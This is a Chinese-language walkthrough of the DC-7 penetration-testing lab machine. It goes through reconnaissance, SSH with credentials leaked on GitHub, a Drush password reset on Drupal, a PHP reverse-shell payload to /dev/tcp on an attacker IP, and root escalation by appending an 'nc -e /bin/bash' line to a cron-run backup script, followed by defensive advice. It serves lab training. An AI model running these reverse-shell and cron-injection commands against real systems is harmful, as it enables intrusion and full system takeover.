DC系列靶机丨DC7
字数 890 2025-08-11 17:40:08
DC7靶机渗透测试教学文档
1. 信息收集阶段
1.1 网络扫描
使用netdiscover工具扫描目标网络:
netdiscover -i eth0 -r 192.168.84.0/24
1.2 端口扫描
使用nmap进行端口扫描:
nmap -sV -p- <目标IP>
2. Web应用测试
2.1 信息泄露发现
在GitHub上发现代码泄露,获取到config.php文件,其中包含:
- 数据库账户
- 密码
2.2 SSH登录
使用泄露的凭据尝试SSH登录:
ssh username@<目标IP>
3. 系统内部信息收集
3.1 发现重要文件
在系统中发现:
mbox文件:记录计划任务执行情况/opt/scripts/backups.sh:root权限执行的备份脚本/var/backups/目录下的加密文件(不可利用)
3.2 Drush工具利用
Drush是Drupal站点的管理工具,可用于修改密码:
# 进入网站目录
cd /var/www/html
# 查看管理员账户信息
drush user-information admin
# 修改admin密码
drush upwd admin --password="passwd"
4. Web后台利用
4.1 登录后台
使用修改后的凭据登录Drupal后台
4.2 安装PHP模块
- 进入"模块"部分
- 安装支持PHP的插件
- 如果安装失败,重试几次
4.3 写入反弹shell
- 在内容编辑区域启用PHP代码功能
- 插入反弹shell代码(示例):
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1'");
?>
4.4 本地监听
在攻击机上设置监听:
nc -lvnp <端口>
5. 提权阶段
5.1 获取标准终端
在获得的shell中升级为完整终端:
python -c "import pty;pty.spawn('/bin/bash')"
5.2 利用定时任务提权
- 发现
/opt/scripts/backups.sh由root定期执行 - 向脚本追加反弹shell命令:
echo "nc -e /bin/bash <攻击者IP> 5555" >> /opt/scripts/backups.sh
- 在攻击机上设置新监听:
nc -lvnp 5555
- 等待定时任务执行,获取root shell
5.3 获取flag
在root权限下查找并读取flag文件
关键点总结
- 信息泄露:GitHub上的代码泄露是初始突破口
- 凭证复用:数据库凭据可能用于SSH登录
- Drush利用:Drupal管理工具可用于重置密码
- PHP模块安装:为获取反向shell创造条件
- 定时任务提权:利用root权限执行的脚本获取最高权限
防御建议
- 避免将敏感信息(如数据库凭据)提交到公开代码仓库
- 实施最小权限原则,限制备份脚本权限
- 定期审计计划任务和cron作业
- 禁用或限制不必要的内容类型(如PHP代码执行)
- 使用强密码并定期更换